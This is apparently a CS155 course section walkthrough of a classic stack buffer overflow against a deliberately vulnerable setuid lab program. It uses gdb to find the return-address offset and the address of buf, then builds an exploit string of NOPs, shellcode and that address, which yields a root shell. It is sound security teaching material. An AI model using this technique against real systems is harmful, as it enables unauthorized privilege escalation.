PROJ #1 SCREEN SHOT FROM SECTION -------------------------------- -Look at the code in target1.c as you follow along. -First we'll get the project box:~$ wget http://crypto.stanford.edu/cs155/hw_and_proj/cs155-pp1.tar.bz2 --16:51:29-- http://crypto.stanford.edu/cs155/hw_and_proj/cs155-pp1.tar.bz2 => `cs155-pp1.tar.bz2' Resolving crypto.stanford.edu... 171.64.78.27 Connecting to crypto.stanford.edu|171.64.78.27|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 6,763 (6.6K) [application/x-bzip2] 100%[=============================================================>] 6,763 --.--K/s 16:51:30 (1.22 MB/s) - `cs155-pp1.tar.bz2' saved [6763/6763] box:~# tar xjvf cs155-pp1.tar.bz2 pp1/ pp1/README pp1/sploits/ pp1/sploits/Makefile pp1/sploits/shellcode.h pp1/sploits/sploit-ec.c pp1/sploits/sploit1.c pp1/sploits/sploit2.c pp1/sploits/sploit3.c pp1/sploits/sploit4.c pp1/sploits/sploit5.c pp1/sploits/sploit6.c pp1/sploits/sploit7.c pp1/targets/ pp1/targets/Makefile pp1/targets/target-ec.c pp1/targets/target1.c pp1/targets/target2.c pp1/targets/target3.c pp1/targets/target4.c pp1/targets/target5.c pp1/targets/target6.c pp1/targets/target7.c pp1/targets/tmalloc.c pp1/targets/tmalloc.h box:~# cd pp1 box:~/pp1# ls README sploits targets -Now we'll set up the environment box:~/pp1# cp -r sploits ~user/ box:~/pp1# chown -R user:user ~user/sploits box:~/pp1# cd targets/ box:~/pp1/targets# make gcc -ggdb target1.c -o target1 gcc -ggdb target2.c -o target2 gcc -ggdb -fomit-frame-pointer -O2 target3.c -o target3 gcc -ggdb target4.c -o target4 gcc -ggdb -c -o target5.o target5.c gcc -ggdb -c -o tmalloc.o tmalloc.c gcc target5.o tmalloc.o -o target5 gcc -ggdb target6.c -o target6 gcc -ggdb target7.c -o target7 gcc -ggdb target-ec.c -o target-ec box:~/pp1/targets# cp * /tmp box:~/pp1/targets# cd /tmp box:/tmp# chown root:root target? ; chmod 4755 target?; chmod a+r target?.c box:/tmp# ls -l target? -rwsr-xr-x 1 root root 9625 2008-04-11 16:28 target1 -rwsr-xr-x 1 root root 9847 2008-04-11 16:28 target2 -rwsr-xr-x 1 root root 10249 2008-04-11 16:28 target3 -rwsr-xr-x 1 root root 9531 2008-04-11 16:28 target4 -rwsr-xr-x 1 root root 12872 2008-04-11 16:28 target5 -rwsr-xr-x 1 root root 9455 2008-04-11 16:28 target6 -rwsr-xr-x 1 root root 10000 2008-04-11 16:28 target7 box:/tmp# su user user@box:/tmp$ cd user@box:~$ ls sploits user@box:~$ cd sploits/ user@box:~/sploits$ ls Makefile sploit1.c sploit3.c sploit5.c sploit7.c shellcode.h sploit2.c sploit4.c sploit6.c sploit-ec.c user@box:~/sploits$ cd /tmp user@box:/tmp$ ls Makefile target2 target3.c target5 target6 target7.c tmalloc.c target1 target2.c target4 target5.c target6.c target-ec tmalloc.h target1.c target3 target4.c target5.o target7 target-ec.c tmalloc.o -First, let's just crash the target, then open it up in gdb. The backquotes turn the command's output into the argument to target1. This passes 150 "a''s to target1. user@box:/tmp$ ./target1 `perl -e 'print "a"x150;'` Segmentation fault user@box:/tmp$ gdb target1 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) set args "`perl -e 'print "a"x150;'`" (gdb) b foo Breakpoint 1 at 0x804840c: file target1.c, line 14. (gdb) run Starting program: /tmp/target1 "`perl -e 'print "a"x150;'`" Breakpoint 1, foo (argv=0xbffffa34) at target1.c:14 14 bar(argv[1], buf); (gdb) info frame Stack level 0, frame at 0xbffff990: eip = 0x804840c in foo (target1.c:14); saved eip 0x8048480 called by frame at 0xbffff9b0 source language c. Arglist at 0xbffff988, args: argv=0xbffffa34 Locals at 0xbffff988, Previous frame's sp is 0xbffff990 Saved registers: ebp at 0xbffff988, eip at 0xbffff98c -The return address is stored at 0xbffff98c, and has a value 0x8048480 according to 'info frame', let's verify this. (gdb) x 0xbffff98c 0xbffff98c: 0x08048480 (gdb) disas foo Dump of assembler code for function foo: 0x08048403 : push %ebp 0x08048404 : mov %esp,%ebp 0x08048406 : sub $0x88,%esp 0x0804840c : mov 0x8(%ebp),%eax 0x0804840f : add $0x4,%eax 0x08048412 : mov (%eax),%edx 0x08048414 : lea 0xffffff80(%ebp),%eax 0x08048417 : mov %eax,0x4(%esp) 0x0804841b : mov %edx,(%esp) 0x0804841e : call 0x80483e4 0x08048423 : leave 0x08048424 : ret End of assembler dump. -We want to set a breakpoint in foo right after bar returns, we do this by setting a breakpoint at the 'leave' instruction. (gdb) b *0x08048423 Breakpoint 2 at 0x8048423: file target1.c, line 15. (gdb) c Continuing. Breakpoint 2, foo (argv=0x61616161) at target1.c:15 15 } -Now we examine foo's frame information and look at the return address after our invocation of bar(). (gdb) info frame Stack level 0, frame at 0xbffff990: eip = 0x8048423 in foo (target1.c:15); saved eip 0x61616161 called by frame at 0xbffff994 source language c. Arglist at 0xbffff988, args: argv=0x61616161 Locals at 0xbffff988, Previous frame's sp is 0xbffff990 Saved registers: ebp at 0xbffff988, eip at 0xbffff98c -The saved eip at address 0xbffff98c has been overwritten wit 0x61616161, which is hex for "aaaa". We want to know the address of the buffer we're overflowing, we can get buf's address when we're in foo's stack frame by typing: (gdb) x buf 0xbffff908: 0x61616161 -Hence, the beginning of buf is located at 0xbffff908, and the first four bytes of buf are "aaaa" (as we'd expect). When we construct our attack string, we want to know how many bytes past the end of "buf" do we have to overflow in order to overwrite the return address. We can use gdb to calculate this like so: (gdb) print 0xbffff98c - 0xbffff908 $1 = 132 -Where the first argument is stack location of our saved $eip (return address), and the second address is the beginning of "buf". Note that buf is lower in memory than the return address, because local variables go on top of the stack above the frame pointer, and on our architecture the stack grows downward. -Let's test that our distance measurement is correct by writing 132 bytes of the fill pattern "a", then writing a specific value to the return address. (gdb) set args "`perl -e 'print "a"x132 . "\x12\x34\x56\x78";'`" (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tmp/target1 "`perl -e 'print "a"x132 . "\x12\x34\x56\x78";'`" Breakpoint 1, foo (argv=0xbffffa44) at target1.c:14 14 bar(argv[1], buf); -The first break point is before bar does the strcpy(), and we examine the frame. Everything looks normal so far... (gdb) info frame Stack level 0, frame at 0xbffff9a0: eip = 0x804840c in foo (target1.c:14); saved eip 0x8048480 called by frame at 0xbffff9c0 source language c. Arglist at 0xbffff998, args: argv=0xbffffa44 Locals at 0xbffff998, Previous frame's sp is 0xbffff9a0 Saved registers: ebp at 0xbffff998, eip at 0xbffff99c (gdb) c Continuing. -Now we've broken right after bar() returns but we're still inside foo's stack frame. Breakpoint 2, foo (argv=0xbffffa00) at target1.c:15 15 } (gdb) info frame Stack level 0, frame at 0xbffff9a0: eip = 0x8048423 in foo (target1.c:15); saved eip 0x78563412 called by frame at 0xbffff9a4 source language c. Arglist at 0xbffff998, args: argv=0xbffffa00 Locals at 0xbffff998, Previous frame's sp is 0xbffff9a0 Saved registers: ebp at 0xbffff998, eip at 0xbffff99c (gdb) x 0xbffff99c 0xbffff99c: 0x78563412 -If we examine this information, we note that we've changed the saved $eip to the hex pattern we wrote. (This is little endian, so the bytes are reversed). Now we want to try to foo() jump to the beginning of buf when it returns, first we get the address of buf, then write it in our argument string. (Again, little endian). (gdb) x buf 0xbffff918: 0x61616161 (gdb) set args "`perl -e 'print "a"x132 . "\x18\xf9\xff\xbf"';`" (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tmp/target1 "`perl -e 'print "a"x132 . "\x18\xf9\xff\xbf"';`" Breakpoint 1, foo (argv=0xbffffa44) at target1.c:14 14 bar(argv[1], buf); (gdb) info frame Stack level 0, frame at 0xbffff9a0: eip = 0x804840c in foo (target1.c:14); saved eip 0x8048480 called by frame at 0xbffff9c0 source language c. Arglist at 0xbffff998, args: argv=0xbffffa44 Locals at 0xbffff998, Previous frame's sp is 0xbffff9a0 Saved registers: ebp at 0xbffff998, eip at 0xbffff99c -Everything is as normal, now we continue and see what happens after our buffer has been overflowed. (gdb) c Continuing. Breakpoint 2, foo (argv=0xbffffa00) at target1.c:15 15 } (gdb) info frame Stack level 0, frame at 0xbffff9a0: eip = 0x8048423 in foo (target1.c:15); saved eip 0xbffff918 called by frame at 0xbffff9a4 source language c. Arglist at 0xbffff998, args: argv=0xbffffa00 Locals at 0xbffff998, Previous frame's sp is 0xbffff9a0 Saved registers: ebp at 0xbffff998, eip at 0xbffff99c (gdb) x buf 0xbffff918: 0x61616161 -We wrote the address of buf into the return address and now examine what happens when we return into buf. (gdb) stepi Cannot access memory at address 0x61616165 (gdb) stepi 0xbffff918 in ?? () -The instruction pointer is pointing at the beginning of buf so we've jumped to buf. If we placed shellcode at the beginning of buf, then right now target1 would be executing the shellcode. Let's examine the contents of what the instruction pointer is pointing at (and thus what the processor is trying to execute). (gdb) x /10c $eip 0xbffff918: 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 0xbffff920: 97 'a' 97 'a' (gdb) x /10i $eip 0xbffff918: popa 0xbffff919: popa 0xbffff91a: popa 0xbffff91b: popa 0xbffff91c: popa 0xbffff91d: popa 0xbffff91e: popa 0xbffff91f: popa 0xbffff920: popa 0xbffff921: popa (gdb) quit The program is running. Exit anyway? (y or n) y -"x /10c $eip" prints out ten characters beginning at $eip, as you can see the characters are "a", which is what we've been writing into the buffer. "x /10i $eip" prints out the next ten instructions beginning at $eip. We get a bunch of popa commands, which is what "a" (0x61) translates into in x86 assembly. -Now let's write this up in C. We construct our attack string and put it as an argument. -We need 132 bytes to get to the beginning of our return address, 4 bytes for the return address, and 1 byte for a NULL terminator (because of strcpy). args[1] = malloc(137). memset(args[1], 0x90, 136); // 0x90 is NOP in x86 assembly. We cannot leave nulls in our string. args[1][136] = '\0' // NULL terminate the string. memcpy(args[1], shellcode, strlen(shellcode)); // shellcode provided in shellcode.h -Now we need to set the part of the string corresponding to the return address, for now we'll just put a value in. Since sploit1 calls exec to execute target1, the environment for target1 will be different, and hence the address of buf is different than when we just execute ./target1. The address of buf is also affected by the length of our attack string. *(unsigned int *)(args[1] + 132) = 0x12345678; user@box:~/sploits$ make gcc -ggdb -c -o sploit1.o sploit1.c gcc sploit1.o -o sploit1 gcc -ggdb -c -o sploit2.o sploit2.c gcc sploit2.o -o sploit2 gcc -ggdb -c -o sploit3.o sploit3.c gcc sploit3.o -o sploit3 gcc -ggdb -c -o sploit4.o sploit4.c gcc sploit4.o -o sploit4 gcc -ggdb -c -o sploit5.o sploit5.c gcc sploit5.o -o sploit5 gcc -ggdb -c -o sploit6.o sploit6.c gcc sploit6.o -o sploit6 gcc -ggdb -c -o sploit7.o sploit7.c gcc sploit7.o -o sploit7 gcc -ggdb -c -o sploit-ec.o sploit-ec.c gcc sploit-ec.o -o sploit-ec user@box:~/sploits$ ./sploit1 Segmentation fault -This obviously doesn't work because we haven't yet set a correct return address. We need to know what the value of the addresses are when we execute target1 from sploit1. We can find out by launching gdb this way: user@box:~/sploits$ gdb -e sploit1 -s /tmp/target1 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) catch exec Catchpoint 1 (exec) (gdb) run Starting program: /home/user/sploits/sploit1 Failed to read a valid object file image from memory. Catchpoint 1 (exec'd /proc/2375/exe), 0xb7feb7b0 in ?? () from /lib/ld-linux.so.2 (gdb) b foo Breakpoint 2 at 0x804840c: file target1.c, line 14. - Note that you MUST set the break points after you call 'run', otherwise you'll get a segfault. 'catch exec' allows us to follow the execution after the exec call. (gdb) c Continuing. Breakpoint 2, foo (argv=0xbffffea4) at target1.c:14 14 target1.c: No such file or directory. in target1.c -Now that we've broken in foo, let's find the address of 'buf'. (gdb) info frame Stack level 0, frame at 0xbffffe00: eip = 0x804840c in foo (target1.c:14); saved eip 0x8048480 called by frame at 0xbffffe20 source language c. Arglist at 0xbffffdf8, args: argv=0xbffffea4 Locals at 0xbffffdf8, Previous frame's sp is 0xbffffe00 Saved registers: ebp at 0xbffffdf8, eip at 0xbffffdfc (gdb) x buf 0xbffffd78: 0x00000001 -This is the address we are looking for, we edit our exploit and set the value of the return address to buf's address. *(unsigned int*)(args[1] + 132) = 0xbffffd78; -Compile and test the exploit. user@box:~/sploits$ make gcc -ggdb -c -o sploit1.o sploit1.c gcc sploit1.o -o sploit1 user@box:~/sploits$ ./sploit1 sh-3.1# whoami root -We've successfully achieved a root shell, which is what we've been aiming for all along.